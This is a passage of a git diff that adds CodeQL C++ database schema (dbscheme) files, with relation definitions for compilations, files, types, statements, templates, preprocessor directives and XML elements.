@isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + | @isinvocable + | @isnothrowinvocable + | @isbitwisecloneable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +param_ref_to_this( + int expr: @param_ref ref +) + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_default ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +| 40 = @stmt_leave +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue | @stmt_leave; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 17 = @ppd_embed +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +embeds( + unique int id: @ppd_embed ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/*- Database metadata -*/ + +/** + * The CLI will automatically emit applicable tuples for this table, + * such as `databaseMetadata("isOverlay", "true")` when building an + * overlay database. + */ +databaseMetadata( + string metadataKey: string ref, + string value: string ref +); + +/*- Overlay support -*/ + +/** + * The CLI will automatically emit tuples for each new/modified/deleted file + * when building an overlay database. + */ +overlayChangedFiles( + string path: string ref +); + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..0853f43dc8c --- /dev/null +++ b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/semmlecode.cpp.dbscheme @@ -0,0 +1,2578 @@ + +/*- Compilations -*/ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- C++ dbscheme -*/ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +/** + * Gives the TRAP filename that `trap` is associated with. + * For debugging only. + */ +trap_filename( + int trap: @trap, + string filename: string ref +); + +/** + * Gives the tag name for `tag`. + * For debugging only. + */ +tag_name( + int tag: @tag, + string name: string ref +); + +@trap_or_tag = @tag | @trap; + +/** + * Gives the name for the source file. + */ +source_file_name( + int sf: @source_file, + string name: string ref +); + +/** + * In `build-mode: none` overlay mode, indicates that `source_file` + * (`/path/to/foo.c`) uses the TRAP file `trap_file`; i.e. it is the + * TRAP file corresponding to `foo.c`, something it transitively + * includes, or a template instantiation it transitively uses. + */ +source_file_uses_trap( + int source_file: @source_file ref, + int trap_file: @trap ref +); + +/** + * In `build-mode: none` overlay mode, indicates that the TRAP file + * `trap_file` uses tag `tag`. + */ +trap_uses_tag( + int trap_file: @trap ref, + int tag: @tag ref +); + +/** + * Holds if there is a definition of `element` in TRAP file or tag `t`. + */ +in_trap_or_tag( + int element: @element ref, + int t: @trap_or_tag ref +); + +pch_uses( + int pch: @pch ref, + int compilation: @compilation ref, + int id: @file ref +) + +#keyset[pch, compilation] +pch_creations( + int pch: @pch, + int compilation: @compilation ref, + int from: @file ref +) + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location_default ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +case @function.kind of + 0 = @unknown_function +| 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +// ... 6 = @builtin_function deprecated // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +builtin_functions( + int id: @function ref +) + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +// ... 40 _Decimal32 +// ... 41 _Decimal64 +// ... 42 _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +| 63 = @scalable_vector_count // __SVCount_t +| 64 = @complex_fp16 // _Complex __fp16 +| 65 = @complex_std_bfloat16 // _Complex __bf16 +| 66 = @complex_std_float16 // _Complex std::float16_t +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +| 11 = @scalable_vector // Arm SVE +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +tupleelements( + unique int id: @derivedtype ref, + int num_elements: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +case @type_operator.kind of + 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +case @usertype.kind of + 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +class_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +) + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location_default ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); +function_template_generated_from( + unique int template: @function ref, + int from: @function ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); +variable_template_generated_from( + unique int template: @variable ref, + int from: @variable ref +); + +is_alias_template(unique int id: @usertype ref); +alias_instantiation( + unique int to: @usertype ref, + int from: @usertype ref +); +alias_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +alias_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +alias_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept 